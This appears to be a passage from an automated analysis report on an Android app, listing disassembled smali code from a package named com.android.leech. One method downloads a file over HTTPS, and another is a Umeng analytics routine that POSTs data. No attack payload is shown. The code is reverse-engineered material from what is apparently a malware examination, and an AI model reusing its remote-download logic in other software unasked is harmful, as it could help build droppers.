                                                                              147const/16 v19, 0x7da
                                                                              149invoke-virtual {v9}, Ljava/net/MalformedURLException;->getMessage()Ljava/lang/String;
                                                                              150move-result-object v20
                                                                              151move-object/from16 v0, p0
                                                                              152move/from16 v1, v19
                                                                              153move-object/from16 v2, v20
                                                                              155invoke-virtual {v0, v1, v2}, Lcom/android/leech/base/bugly/download/t;->a(ILjava/lang/String;)V
                                                                              156move-object/from16 v0, p0
                                                                              158iget-object v0, v0, Lcom/android/leech/base/bugly/download/t;->d:Lcom/android/leech/base/bugly/download/DownloadListener;
                                                                              159move-object/from16 v19, v0
                                                                              160if-eqz v19, :cond_e2
                                                                              161move-object/from16 v0, p0
                                                                              163iget-object v0, v0, Lcom/android/leech/base/bugly/download/t;->d:Lcom/android/leech/base/bugly/download/DownloadListener;
                                                                              164move-object/from16 v19, v0
                                                                              165new-instance v20, Ljava/lang/StringBuilder;
                                                                              167invoke-direct/range {v20 .. v20}, Ljava/lang/StringBuilder;-><init>()V
                                                                              169const-string v21, "url error:"
                                                                              171invoke-virtual/range {v20 .. v21}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              172move-result-object v20
                                                                              174invoke-virtual {v9}, Ljava/net/MalformedURLException;->getMessage()Ljava/lang/String;
                                                                              175move-result-object v21
                                                                              177invoke-virtual/range {v20 .. v21}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              178move-result-object v20
                                                                              180invoke-virtual/range {v20 .. v20}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              181move-result-object v20
                                                                              183invoke-interface/range {v19 .. v20}, Lcom/android/leech/base/bugly/download/DownloadListener;->onDownloadFailed(Ljava/lang/String;)V
                                                                              184goto/16 :goto_e2
                                                                              185catch_11c: move-exception v8
                                                                              187invoke-virtual {v8}, Ljava/lang/Exception;->printStackTrace()V
                                                                              188goto/16 :goto_e2
                                                                              189cond_121:
                                                                              190sget-object v19, Lcom/android/leech/base/bugly/database/p;->a:Lcom/android/leech/base/bugly/database/p;
                                                                              191move-object/from16 v0, v19
                                                                              192move-object/from16 v1, p0
                                                                              194invoke-virtual {v0, v1}, Lcom/android/leech/base/bugly/database/p;->a(Lcom/android/leech/base/bugly/download/DownloadTask;)Z
                                                                              196invoke-virtual {v14}, Ljavax/net/ssl/HttpsURLConnection;->getInputStream()Ljava/io/InputStream;
                                                                              197move-result-object v5
                                                                              198const v19, 0x4b000
                                                                              199move/from16 v0, v19
                                                                              200new-array v0, v0, [B
                                                                              201move-object/from16 v16, v0
                                                                              202const/16 v17, 0x1
                                                                              203new-instance v6, Ljava/io/RandomAccessFile;
                                                                              204move-object/from16 v0, p0
                                                                              206iget-object v0, v0, Lcom/android/leech/base/bugly/download/t;->l:Ljava/io/File;
                                                                              207move-object/from16 v19, v0
                                                                              209const-string v20, "rwd"
                                                                              210move-object/from16 v0, v19
                                                                              211move-object/from16 v1, v20
                                                                              213invoke-direct {v6, v0, v1}, Ljava/io/RandomAccessFile;-><init>(Ljava/io/File;Ljava/lang/String;)V
                                                                              214try_start_14a: move-object/from16 v0, p0
                                                                              215iget-wide v0, v0, Lcom/android/leech/base/bugly/download/t;->e:J
                                                                              216move-wide/from16 v19, v0
                                                                              217move-wide/from16 v0, v19
                                                                              219invoke-virtual {v6, v0, v1}, Ljava/io/RandomAccessFile;->seek(J)V
                                                                              220const/16 v18, 0x0
                                                                              221cond_157: move-object/from16 v0, v16
                                                                              223invoke-virtual {v5, v0}, Ljava/io/InputStream;->read([B)I
                                                                              224move-result v12
                                                                              225const/16 v19, -0x1
                                                                              226move/from16 v0, v19
                                                                              227if-eq v12, v0, :cond_1fe
                                                                              228move-object/from16 v0, p0
                                                                              229iget-wide v0, v0, Lcom/android/leech/base/bugly/download/t;->e:J
                                                                              230move-wide/from16 v19, v0
                                                                              231int-to-long v0, v12
                                                                              232move-wide/from16 v21, v0
                                                                              233add-long v19, v19, v21
                                                                              234move-wide/from16 v0, v19
                                                                              235move-object/from16 v2, p0
                                                                              236iput-wide v0, v2, Lcom/android/leech/base/bugly/download/t;->e:J
                                                                              237move-object/from16 v0, p0
                                                                              238iget-wide v0, v0, Lcom/android/leech/base/bugly/download/t;->e:J
                                                                              239move-wide/from16 v19, v0
                                                                              240move-object/from16 v0, p0
                                                                              241iget-wide v0, v0, Lcom/android/leech/base/bugly/download/t;->f:J
                                                                              242move-wide/from16 v21, v0
                                                                              243cmp-long v19, v19, v21
                                                                              244if-lez v19, :cond_199
                                                                              246invoke-virtual/range {p0 .. p0}, Lcom/android/leech/base/bugly/download/t;->b()V
                                                                              247try_end_187: if-eqz v6, :cond_18c
                                                                              248try_start_189:
                                                                              249invoke-virtual {v6}, Ljava/io/RandomAccessFile;->close()V
                                                                              250try_end_18c: if-eqz v5, :cond_e2
                                                                              251try_start_18e:
                                                                              252invoke-virtual {v5}, Ljava/io/InputStream;->close()V
                                                                              253try_end_191: goto/16 :goto_e2
                                                                              254catch_193: move-exception v8
                                                                              256invoke-virtual {v8}, Ljava/lang/Exception;->printStackTrace()V
                                                                              257goto/16 :goto_e2
                                                                              258cond_199: const/high16 v19, 0x42c80000 # 100.0f
                                                                              259try_start_19b: move-object/from16 v0, p0
                                                                              260iget-wide v0, v0, Lcom/android/leech/base/bugly/download/t;->e:J
                                                                              261move-wide/from16 v20, v0
                                                                              262move-wide/from16 v0, v20
                                                                              263long-to-float v0, v0
                                                                              264move/from16 v20, v0
                                                                              265move-object/from16 v0, p0
                                                                              266iget-wide v0, v0, Lcom/android/leech/base/bugly/download/t;->f:J
                                                                              267move-wide/from16 v21, v0
                                                                              268move-wide/from16 v0, v21
                                                                              269long-to-float v0, v0
                                                                              270move/from16 v21, v0
                                                                              271div-float v20, v20, v21
                                                                              272mul-float v4, v19, v20
                                                                              273sub-float v19, v4, v18
                                                                              274move/from16 v0, v19
                                                                              275float-to-double v0, v0
                                                                              276move-wide/from16 v19, v0
                                                                              277const-wide/high16 v21, 0x3fe0000000000000L # 0.5
                                                                              278cmpl-double v19, v19, v21
                                                                              279if-ltz v19, :cond_1c7
                                                                              280move/from16 v18, v4
                                                                              282invoke-virtual/range {p0 .. p0}, Lcom/android/leech/base/bugly/download/t;->a()V
                                                                              283cond_1c7: const/16 v19, 0x0
                                                                              284move-object/from16 v0, v16
                                                                              285move/from16 v1, v19
                                                                              287invoke-virtual {v6, v0, v1, v12}, Ljava/io/RandomAccessFile;->write([BII)V
                                                                              289invoke-virtual/range {p0 .. p0}, Lcom/android/leech/base/bugly/download/t;->getSaveFile()Ljava/io/File;
                                                                              290move-result-object v19
                                                                              291if-eqz v19, :cond_1ec
                                                                              293invoke-virtual/range {p0 .. p0}, Lcom/android/leech/base/bugly/download/t;->getSaveFile()Ljava/io/File;
                                                                              294move-result-object v19
                                                                              296invoke-virtual/range {v19 .. v19}, Ljava/io/File;->exists()Z
                                                                              297move-result v19
                                                                              298if-eqz v19, :cond_1ec
                                                                              300invoke-virtual/range {p0 .. p0}, Lcom/android/leech/base/bugly/download/t;->getStatus()I
                                                                              301try_end_1e3: move-result v19
                                                                              302const/16 v20, 0x3
                                                                              303move/from16 v0, v19
                                                                              304move/from16 v1, v20
                                                                              305if-ne v0, v1, :cond_157
                                                                              306cond_1ec: if-eqz v6, :cond_1f1
                                                                              307try_start_1ee:
                                                                              308invoke-virtual {v6}, Ljava/io/RandomAccessFile;->close()V
                                                                              309try_end_1f1: if-eqz v5, :cond_e2
                                                                              310try_start_1f3:
                                                                              311invoke-virtual {v5}, Ljava/io/InputStream;->close()V
                                                                              312try_end_1f6: goto/16 :goto_e2
                                                                              313catch_1f8: move-exception v8
                                                                              315invoke-virtual {v8}, Ljava/lang/Exception;->printStackTrace()V
                                                                              316goto/16 :goto_e2
                                                                              317cond_1fe:
                                                                              318invoke-virtual/range {p0 .. p0}, Lcom/android/leech/base/bugly/download/t;->b()V
                                                                              319try_end_201: if-eqz v6, :cond_206
                                                                              320try_start_203:
                                                                              321invoke-virtual {v6}, Ljava/io/RandomAccessFile;->close()V
                                                                              322goto_206: const/16 v19, 0x3
                                                                              323move/from16 v0, v19
                                                                              324if-lt v13, v0, :cond_2a0
                                                                              325if-eqz v5, :cond_e2
                                                                              326try_start_20e:
                                                                              327invoke-virtual {v5}, Ljava/io/InputStream;->close()V
                                                                              328try_end_211: goto/16 :goto_e2
                                                                              329catch_213: move-exception v8
                                                                              331invoke-virtual {v8}, Ljava/lang/Exception;->printStackTrace()V
                                                                              332goto/16 :goto_e2
                                                                              333catch_219: move-exception v10
                                                                              334move-object v6, v7
                                                                              335try_start_21b:
                                                                              336invoke-virtual {v10}, Ljava/io/IOException;->printStackTrace()V
                                                                              337const/16 v19, 0x7e4
                                                                              339invoke-virtual {v10}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
                                                                              340move-result-object v20
                                                                              341move-object/from16 v0, p0
                                                                              342move/from16 v1, v19
                                                                              343move-object/from16 v2, v20
                                                                              345invoke-virtual {v0, v1, v2}, Lcom/android/leech/base/bugly/download/t;->a(ILjava/lang/String;)V
                                                                              346move-object/from16 v0, p0
                                                                              348iget-object v0, v0, Lcom/android/leech/base/bugly/download/t;->d:Lcom/android/leech/base/bugly/download/DownloadListener;
                                                                              349move-object/from16 v19, v0
                                                                              350if-eqz v19, :cond_255
                                                                              351move-object/from16 v0, p0
                                                                              353iget-object v0, v0, Lcom/android/leech/base/bugly/download/t;->d:Lcom/android/leech/base/bugly/download/DownloadListener;
                                                                              354move-object/from16 v19, v0
                                                                              355new-instance v20, Ljava/lang/StringBuilder;
                                                                              357invoke-direct/range {v20 .. v20}, Ljava/lang/StringBuilder;-><init>()V
                                                                              359const-string v21, "dowload failed:"
                                                                              361invoke-virtual/range {v20 .. v21}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              362move-result-object v20
                                                                              364invoke-virtual {v10}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
                                                                              365move-result-object v21
                                                                              367invoke-virtual/range {v20 .. v21}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              368move-result-object v20
                                                                              370invoke-virtual/range {v20 .. v20}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              371move-result-object v20
                                                                              373invoke-interface/range {v19 .. v20}, Lcom/android/leech/base/bugly/download/DownloadListener;->onDownloadFailed(Ljava/lang/String;)V
                                                                              374cond_255: if-eqz v6, :cond_25a
                                                                              375try_start_257:
                                                                              376invoke-virtual {v6}, Ljava/io/RandomAccessFile;->close()V
                                                                              377cond_25a: move-object v7, v6
                                                                              378goto/16 :goto_f
                                                                              379catchall_25d: move-exception v19
                                                                              380move-object v6, v7
                                                                              381goto_25f: if-eqz v6, :cond_264
                                                                              383invoke-virtual {v6}, Ljava/io/RandomAccessFile;->close()V
                                                                              384cond_264: throw v19
                                                                              385try_end_265: move-exception v11
                                                                              386goto_266: const/16 v19, 0x7d0
                                                                              387try_start_268:
                                                                              388invoke-virtual {v11}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                                                              389move-result-object v20
                                                                              390move-object/from16 v0, p0
                                                                              391move/from16 v1, v19
                                                                              392move-object/from16 v2, v20
                                                                              394invoke-virtual {v0, v1, v2}, Lcom/android/leech/base/bugly/download/t;->a(ILjava/lang/String;)V
                                                                              396invoke-virtual {v11}, Ljava/lang/Exception;->printStackTrace()V
                                                                              397move-object/from16 v0, p0
                                                                              399iget-object v0, v0, Lcom/android/leech/base/bugly/download/t;->d:Lcom/android/leech/base/bugly/download/DownloadListener;
                                                                              400move-object/from16 v19, v0
                                                                              401if-eqz v19, :cond_2a0
                                                                              402move-object/from16 v0, p0
                                                                              404iget-object v0, v0, Lcom/android/leech/base/bugly/download/t;->d:Lcom/android/leech/base/bugly/download/DownloadListener;
                                                                              405move-object/from16 v19, v0
                                                                              406new-instance v20, Ljava/lang/StringBuilder;
                                                                              408invoke-direct/range {v20 .. v20}, Ljava/lang/StringBuilder;-><init>()V
                                                                              410const-string v21, "dowload failed:"
                                                                              412invoke-virtual/range {v20 .. v21}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              413move-result-object v20
                                                                              415invoke-virtual {v11}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                                                              416move-result-object v21
                                                                              418invoke-virtual/range {v20 .. v21}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              419move-result-object v20
                                                                              421invoke-virtual/range {v20 .. v20}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              422move-result-object v20
                                                                              424invoke-interface/range {v19 .. v20}, Lcom/android/leech/base/bugly/download/DownloadListener;->onDownloadFailed(Ljava/lang/String;)V
                                                                              425cond_2a0: if-eqz v5, :cond_e2
                                                                              426try_start_2a2:
                                                                              427invoke-virtual {v5}, Ljava/io/InputStream;->close()V
                                                                              428try_end_2a5: goto/16 :goto_e2
                                                                              429catch_2a7: move-exception v8
                                                                              431invoke-virtual {v8}, Ljava/lang/Exception;->printStackTrace()V
                                                                              432goto/16 :goto_e2
                                                                              433catchall_2ad: move-exception v19
                                                                              434move-object v6, v7
                                                                              435goto_2af: if-eqz v5, :cond_2b4
                                                                              436try_start_2b1:
                                                                              437invoke-virtual {v5}, Ljava/io/InputStream;->close()V
                                                                              438cond_2b4: throw v19
                                                                              439catch_2b5: move-exception v8
                                                                              441invoke-virtual {v8}, Ljava/lang/Exception;->printStackTrace()V
                                                                              442goto/16 :goto_2b4
                                                                              443catchall_2ba: move-exception v19
                                                                              444goto/16 :goto_2af
                                                                              445catch_2bc: move-exception v11
                                                                              446move-object v6, v7
                                                                              447goto/16 :goto_266
                                                                              448catchall_2bf: move-exception v19
                                                                              449goto/16 :goto_25f
                                                                              450catch_2c1: move-exception v10
                                                                              451goto/16 :goto_21b
                                                                              452cond_2c4: move-object v6, v7
                                                                              453goto/16 :goto_206
                                                                              Cross References
                                                                              APIs
                                                                              • java.net.Proxy$Type.HTTP:Ljava/net/Proxy$Type
                                                                              • java.net.InetSocketAddress.<init>
                                                                              • java.net.Proxy.<init>
                                                                              • java.net.URL.<init>
                                                                              • java.net.URL.openConnection
                                                                              • org.apache.http.conn.ssl.SSLSocketFactory.STRICT_HOSTNAME_VERIFIER:Lorg/apache/http/conn/ssl/X509HostnameVerifier
                                                                              • javax.net.ssl.HttpsURLConnection.setDefaultHostnameVerifier
                                                                              • javax.net.ssl.SSLContext.getInstance
                                                                              • java.security.SecureRandom.<init>
                                                                              • javax.net.ssl.SSLContext.init
                                                                              • javax.net.ssl.SSLContext.getSocketFactory
                                                                              • javax.net.ssl.HttpsURLConnection.setDefaultSSLSocketFactory
                                                                              • java.lang.System.currentTimeMillis
                                                                              • java.lang.String.valueOf
                                                                              • javax.net.ssl.HttpsURLConnection.setRequestProperty
                                                                              • javax.net.ssl.HttpsURLConnection.setRequestProperty
                                                                              • javax.net.ssl.HttpsURLConnection.setRequestProperty
                                                                              • javax.net.ssl.HttpsURLConnection.setRequestProperty
                                                                              • javax.net.ssl.HttpsURLConnection.setConnectTimeout
                                                                              • javax.net.ssl.HttpsURLConnection.setReadTimeout
                                                                              • javax.net.ssl.HttpsURLConnection.setRequestMethod
                                                                              • javax.net.ssl.HttpsURLConnection.setDoOutput
                                                                              • javax.net.ssl.HttpsURLConnection.setDoInput
                                                                              • javax.net.ssl.HttpsURLConnection.setUseCaches
                                                                              • javax.net.ssl.HttpsURLConnection.getOutputStream
                                                                              • java.io.OutputStream.write
                                                                              • java.io.OutputStream.flush
                                                                              • javax.net.ssl.HttpsURLConnection.connect
                                                                              • javax.net.ssl.HttpsURLConnection.getResponseCode
                                                                              • javax.net.ssl.HttpsURLConnection.getHeaderField
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.String.equalsIgnoreCase
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • javax.net.ssl.HttpsURLConnection.getInputStream
                                                                              • java.io.OutputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.getInputStream
                                                                              • java.io.InputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.disconnect
                                                                              • java.net.URL.<init>
                                                                              • java.net.URL.openConnection
                                                                              • java.io.OutputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.getInputStream
                                                                              • java.io.InputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.disconnect
                                                                              • java.io.OutputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.getInputStream
                                                                              • java.io.InputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.disconnect
                                                                              • java.io.OutputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.getInputStream
                                                                              • java.io.InputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.disconnect
                                                                              • java.io.OutputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.getInputStream
                                                                              • java.io.InputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.disconnect
                                                                              Strings
                                                                              • TLS
                                                                              • X-Umeng-UTC
                                                                              • X-Umeng-Sdk
                                                                              • Content-Type
                                                                              • Msg-Type
                                                                              • envelope/json
                                                                              • POST
                                                                              • application/thrift
                                                                              • status code :
                                                                              • ; isThrifit:
                                                                              • Send message to server. status code is:
                                                                              Position Instruction Meta Information
                                                                              0const/4 v4, 0x0
                                                                              1const/4 v2, 0x1
                                                                              2const/4 v3, 0x0
                                                                              3try_start_3:
                                                                              4iget-object v0, p0, LuAgent/commonsdk/statistics/internal/c;->d:LuAgent/commonsdk/statistics/internal/b;
                                                                              5if-eqz v0, :cond_c
                                                                              7iget-object v0, p0, LuAgent/commonsdk/statistics/internal/c;->d:LuAgent/commonsdk/statistics/internal/b;
                                                                              9invoke-interface {v0}, LuAgent/commonsdk/statistics/internal/b;->onRequestStart()V
                                                                              10cond_c:
                                                                              11invoke-direct {p0}, LuAgent/commonsdk/statistics/internal/c;->b()Z
                                                                              12move-result v0
                                                                              13if-eqz v0, :cond_12a
                                                                              14new-instance v0, Ljava/net/Proxy;
                                                                              16sget-object v1, Ljava/net/Proxy$Type;->HTTP:Ljava/net/Proxy$Type;
                                                                              17new-instance v5, Ljava/net/InetSocketAddress;
                                                                              19iget-object v6, p0, LuAgent/commonsdk/statistics/internal/c;->a:Ljava/lang/String;
                                                                              20iget v7, p0, LuAgent/commonsdk/statistics/internal/c;->b:I
                                                                              22invoke-direct {v5, v6, v7}, Ljava/net/InetSocketAddress;-><init>(Ljava/lang/String;I)V
                                                                              24invoke-direct {v0, v1, v5}, Ljava/net/Proxy;-><init>(Ljava/net/Proxy$Type;Ljava/net/SocketAddress;)V
                                                                              25new-instance v1, Ljava/net/URL;
                                                                              27invoke-direct {v1, p2}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                                                              29invoke-virtual {v1, v0}, Ljava/net/URL;->openConnection(Ljava/net/Proxy;)Ljava/net/URLConnection;
                                                                              30move-result-object v0
                                                                              31check-cast v0, Ljavax/net/ssl/HttpsURLConnection;
                                                                              32try_end_2d: sget-boolean v1, LuAgent/commonsdk/statistics/internal/c;->e:Z
                                                                              33if-nez v1, :cond_50
                                                                              35sget-object v1, Lorg/apache/http/conn/ssl/SSLSocketFactory;->STRICT_HOSTNAME_VERIFIER:Lorg/apache/http/conn/ssl/X509HostnameVerifier;
                                                                              37invoke-static {v1}, Ljavax/net/ssl/HttpsURLConnection;->setDefaultHostnameVerifier(Ljavax/net/ssl/HostnameVerifier;)V
                                                                              39const-string v1, "TLS"
                                                                              41invoke-static {v1}, Ljavax/net/ssl/SSLContext;->getInstance(Ljava/lang/String;)Ljavax/net/ssl/SSLContext;
                                                                              42move-result-object v1
                                                                              43const/4 v5, 0x0
                                                                              44const/4 v6, 0x0
                                                                              45new-instance v7, Ljava/security/SecureRandom;
                                                                              47invoke-direct {v7}, Ljava/security/SecureRandom;-><init>()V
                                                                              49invoke-virtual {v1, v5, v6, v7}, Ljavax/net/ssl/SSLContext;->init([Ljavax/net/ssl/KeyManager;[Ljavax/net/ssl/TrustManager;Ljava/security/SecureRandom;)V
                                                                              51invoke-virtual {v1}, Ljavax/net/ssl/SSLContext;->getSocketFactory()Ljavax/net/ssl/SSLSocketFactory;
                                                                              52move-result-object v1
                                                                              54invoke-static {v1}, Ljavax/net/ssl/HttpsURLConnection;->setDefaultSSLSocketFactory(Ljavax/net/ssl/SSLSocketFactory;)V
                                                                              55const/4 v1, 0x1
                                                                              56sput-boolean v1, LuAgent/commonsdk/statistics/internal/c;->e:Z
                                                                              57cond_50:
                                                                              58const-string v1, "X-Umeng-UTC"
                                                                              60invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                                                                              61move-result-wide v5
                                                                              63invoke-static {v5, v6}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
                                                                              64move-result-object v5
                                                                              66invoke-virtual {v0, v1, v5}, Ljavax/net/ssl/HttpsURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              68const-string v1, "X-Umeng-Sdk"
                                                                              70iget-object v5, p0, LuAgent/commonsdk/statistics/internal/c;->c:Landroid/content/Context;
                                                                              72invoke-static {v5}, LuAgent/commonsdk/statistics/internal/a;->a(Landroid/content/Context;)LuAgent/commonsdk/statistics/internal/a;
                                                                              73move-result-object v5
                                                                              75invoke-virtual {v5}, LuAgent/commonsdk/statistics/internal/a;->b()Ljava/lang/String;
                                                                              76move-result-object v5
                                                                              78invoke-virtual {v0, v1, v5}, Ljavax/net/ssl/HttpsURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              80const-string v1, "Content-Type"
                                                                              82iget-object v5, p0, LuAgent/commonsdk/statistics/internal/c;->c:Landroid/content/Context;
                                                                              84invoke-static {v5}, LuAgent/commonsdk/statistics/internal/a;->a(Landroid/content/Context;)LuAgent/commonsdk/statistics/internal/a;
                                                                              85move-result-object v5
                                                                              87invoke-virtual {v5}, LuAgent/commonsdk/statistics/internal/a;->a()Ljava/lang/String;
                                                                              88move-result-object v5
                                                                              90invoke-virtual {v0, v1, v5}, Ljavax/net/ssl/HttpsURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              92const-string v1, "Msg-Type"
                                                                              94const-string v5, "envelope/json"
                                                                              96invoke-virtual {v0, v1, v5}, Ljavax/net/ssl/HttpsURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              97const/16 v1, 0x7530
                                                                              99invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setConnectTimeout(I)V
                                                                              100const/16 v1, 0x7530
                                                                              102invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setReadTimeout(I)V
                                                                              104const-string v1, "POST"
                                                                              106invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setRequestMethod(Ljava/lang/String;)V
                                                                              107const/4 v1, 0x1
                                                                              109invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setDoOutput(Z)V
                                                                              110const/4 v1, 0x1
                                                                              112invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setDoInput(Z)V
                                                                              113const/4 v1, 0x0
                                                                              115invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setUseCaches(Z)V
                                                                              117invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->getOutputStream()Ljava/io/OutputStream;
                                                                              118try_end_a0: move-result-object v1
                                                                              119try_start_a1:
                                                                              120invoke-virtual {v1, p1}, Ljava/io/OutputStream;->write([B)V
                                                                              122invoke-virtual {v1}, Ljava/io/OutputStream;->flush()V
                                                                              124invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->connect()V
                                                                              126iget-object v5, p0, LuAgent/commonsdk/statistics/internal/c;->d:LuAgent/commonsdk/statistics/internal/b;
                                                                              127if-eqz v5, :cond_b3
                                                                              129iget-object v5, p0, LuAgent/commonsdk/statistics/internal/c;->d:LuAgent/commonsdk/statistics/internal/b;
                                                                              131invoke-interface {v5}, LuAgent/commonsdk/statistics/internal/b;->onRequestEnd()V
                                                                              132cond_b3:
                                                                              133invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->getResponseCode()I
                                                                              134move-result v5
                                                                              136const-string v6, "Content-Type"
                                                                              138invoke-virtual {v0, v6}, Ljavax/net/ssl/HttpsURLConnection;->getHeaderField(Ljava/lang/String;)Ljava/lang/String;
                                                                              139move-result-object v6
                                                                              141invoke-static {v6}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              142move-result v7
                                                                              143if-nez v7, :cond_1c3
                                                                              145const-string v7, "application/thrift"
                                                                              147invoke-virtual {v6, v7}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                                                              148move-result v6
                                                                              149if-eqz v6, :cond_1c3
                                                                              150goto_cb: sget-boolean v4, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              151if-eqz v4, :cond_ef
                                                                              152new-instance v4, Ljava/lang/StringBuilder;
                                                                              154invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                                              156const-string v6, "status code : "
                                                                              158invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              159move-result-object v4
                                                                              161invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              162move-result-object v4
                                                                              164const-string v6, "; isThrifit:"
                                                                              166invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              167move-result-object v4
                                                                              169invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                                                                              170move-result-object v4
                                                                              172invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              173move-result-object v4
                                                                              175invoke-static {v4}, LuAgent/commonsdk/statistics/common/MLog;->d(Ljava/lang/String;)V
                                                                              176cond_ef: const/16 v4, 0xc8
                                                                              177if-ne v5, v4, :cond_156
                                                                              178if-eqz v2, :cond_156
                                                                              179new-instance v2, Ljava/lang/StringBuilder;
                                                                              181invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                                              183const-string v4, "Send message to server. status code is: "
                                                                              185invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              186move-result-object v2
                                                                              188invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              189move-result-object v2
                                                                              191invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              192move-result-object v2
                                                                              194invoke-static {v2}, LuAgent/commonsdk/statistics/common/MLog;->i(Ljava/lang/String;)V
                                                                              196invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->getInputStream()Ljava/io/InputStream;
                                                                              197try_end_10e: move-result-object v4
                                                                              198try_start_10f:
                                                                              199invoke-static {v4}, LuAgent/commonsdk/statistics/common/HelperUtils;->readStreamToByteArray(Ljava/io/InputStream;)[B
                                                                              200try_end_112: move-result-object v2
                                                                              201try_start_113:
                                                                              202invoke-static {v4}, LuAgent/commonsdk/statistics/common/HelperUtils;->safeClose(Ljava/io/InputStream;)V
                                                                              203try_end_116: if-eqz v1, :cond_11b
                                                                              204try_start_118:
                                                                              205invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
                                                                              206cond_11b: if-eqz v0, :cond_1da
                                                                              207try_start_11d:
                                                                              208invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->getInputStream()Ljava/io/InputStream;
                                                                              209move-result-object v1
                                                                              211invoke-virtual {v1}, Ljava/io/InputStream;->close()V
                                                                              212goto_124:
                                                                              213invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->disconnect()V
                                                                              214move-object v0, v2
                                                                              215goto_128: move-object v3, v0
                                                                              216goto_129: return-object v3
                                                                              217try_start_12a: new-instance v0, Ljava/net/URL;
                                                                              219invoke-direct {v0, p2}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                                                              221invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                                                                              222move-result-object v0
                                                                              223check-cast v0, Ljavax/net/ssl/HttpsURLConnection;
                                                                              224try_end_135: goto/16 :goto_2d
                                                                              225catch_137: move-exception v1
                                                                              227iget-object v3, p0, LuAgent/commonsdk/statistics/internal/c;->c:Landroid/content/Context;
                                                                              229invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              230goto/16 :goto_11b
                                                                              231catchall_13e: move-exception v2
                                                                              232try_start_13f:
                                                                              233invoke-static {v4}, LuAgent/commonsdk/statistics/common/HelperUtils;->safeClose(Ljava/io/InputStream;)V
                                                                              234throw v2
                                                                              235try_end_143: move-exception v2
                                                                              236goto_144: if-eqz v1, :cond_149
                                                                              237try_start_146:
                                                                              238invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
